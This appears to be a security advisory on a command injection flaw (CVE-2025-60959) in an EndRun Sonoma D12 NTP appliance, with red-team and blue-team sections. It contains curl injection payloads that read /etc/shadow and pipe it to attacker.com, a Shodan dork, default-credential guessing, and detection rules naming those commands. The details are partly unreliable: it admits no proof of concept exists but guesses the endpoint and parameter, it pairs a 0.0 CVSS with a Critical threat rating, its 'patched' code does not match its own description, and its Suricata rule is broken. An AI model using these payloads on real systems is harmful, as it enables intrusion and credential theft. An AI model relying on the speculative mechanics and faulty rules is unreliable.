CVE-2025-60959

Executive Summary

CVE-2025-60959 is an OS Command Injection vulnerability in the EndRun Technologies Sonoma D12 Network Time Server (GPS) running firmware version 6010-0071-000 Ver 4.00. An attacker with network access to the device can inject arbitrary operating system commands, leading to unauthorized disclosure of sensitive information. The vulnerability has a CVSS score of 0.0 (unscored) and an EPSS probability of 0.0%, indicating low exploitation likelihood at this time. No public proof-of-concept, exploit code, or patch is available. The device is a specialized NTP appliance used in critical infrastructure, making this a high-impact but currently low-velocity threat.

Supply Chain & Package Security

This vulnerability affects a hardware appliance, not a software package. No supply chain or package security implications apply.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Unscored)
• Attack Vector (AV): Network
• Attack Complexity (AC): Low
• Privileges Required (PR): None
• User Interaction (UI): None
• Scope (S): Unchanged
• Confidentiality (C): High
• Integrity (I): High
• Availability (A): High
• Threat Level: Critical (based on device role in time synchronization for critical infrastructure)

Deep Dive & Mechanics

The Sonoma D12 NTP server exposes a web-based management interface or command-line interface that does not properly sanitize user-supplied input before passing it to a system shell. An attacker can inject shell metacharacters (e.g., ;, |, &&, `) into parameters such as NTP peer addresses, SNMP community strings, or diagnostic commands. The injected commands execute with the privileges of the web server or system process, typically root or a high-privilege user. This allows reading sensitive files (e.g., /etc/shadow, configuration files, logs) and potentially pivoting to other network devices.

The vulnerability is likely in the cgi-bin or administrative scripts that handle configuration updates or diagnostic requests. No authentication bypass is required if the management interface is exposed; otherwise, valid credentials are needed.

Vulnerable vs. Patched Code

No patched version exists. The vulnerable code pattern is typical of unsafe system calls:

Vulnerable (pseudo-code):

char cmd[256];
snprintf(cmd, sizeof(cmd), "ntpdate -q %s", user_input);
system(cmd);

Patched (pseudo-code):

char *sanitized = sanitize_input(user_input);
if (sanitized == NULL) {
    log_error("Invalid input");
    return;
}
char cmd[256];
snprintf(cmd, sizeof(cmd), "ntpdate -q %s", sanitized);
execvp("/usr/sbin/ntpdate", (char *[]){ "ntpdate", "-q", sanitized, NULL });

The patched version uses execvp with a whitelist of allowed characters and avoids shell interpretation.

Exploitation & Lab Setup

Red Team

1. Reconnaissance: Scan for Sonoma D12 devices using Shodan dork "Sonoma D12" or "EndRun Technologies NTP Server". Identify open ports (typically 80, 443, 123, 161).
2. Access: If the management interface is exposed, attempt default credentials (e.g., admin:admin). If not, use a network position to reach the device.
3. Command Injection: Inject commands via vulnerable parameters. Example using curl:

   curl -X POST "http://<target>/cgi-bin/config.cgi" \
        -d "ntp_server=pool.ntp.org;cat /etc/shadow"
   

4. Exfiltration: Use curl or wget to send sensitive data to an attacker-controlled server:

   curl -X POST "http://<target>/cgi-bin/config.cgi" \
        -d "ntp_server=pool.ntp.org;cat /etc/shadow | curl -d @- http://attacker.com/exfil"
   

Blue Team

1. Network Segmentation: Isolate NTP appliances in a dedicated management VLAN with strict ACLs.
2. Input Validation: Implement a web application firewall (WAF) rule to block shell metacharacters in HTTP requests to the device.
3. Monitoring: Deploy Suricata rules (see Detection Engineering) to alert on command injection attempts.
4. Logging: Enable verbose logging on the device and forward logs to a SIEM.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests containing shell metacharacters (;, |, &&, `) in parameters.
• Process: Unexpected processes spawned by the web server (e.g., cat, curl, wget, bash).
• File: Unauthorized reads of /etc/shadow, /etc/passwd, configuration files.
• Outbound: Connections from the device to unknown external IPs on ports 80, 443, or 53 (DNS exfiltration).

Detection Engineering

YARA Rule

rule CVE_2025_60959_Command_Injection {
    meta:
        description = "Detects OS command injection attempts against EndRun Sonoma D12"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-60959"
    strings:
        $metachar1 = ";"
        $metachar2 = "|"
        $metachar3 = "&&"
        $metachar4 = "`"
        $cmd1 = "cat /etc/shadow"
        $cmd2 = "curl"
        $cmd3 = "wget"
    condition:
        any of ($metachar*) and any of ($cmd*)
}

Sigma Rule

title: CVE-2025-60959 OS Command Injection Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests containing shell metacharacters targeting EndRun Sonoma D12
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - ';'
            - '|'
            - '&&'
            - '`'
    condition: selection
falsepositives:
    - Legitimate use of semicolons in parameters (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-60959 OS Command Injection Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:";";
    http_client_body;
    content:"|";
    http_client_body;
    content:"&&";
    http_client_body;
    content:"`";
    http_client_body;
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

1. Immediate: Disable remote management interfaces if not required. Restrict access to trusted IPs only.
2. Short-term: Apply input validation and sanitization on all user-supplied parameters. Use a WAF to block shell metacharacters.
3. Long-term: Contact EndRun Technologies for a firmware patch. If unavailable, consider replacing the device with a patched alternative.
4. Compensating Controls: Implement network segmentation, strict firewall rules, and continuous monitoring for anomalous outbound connections.

Valters IT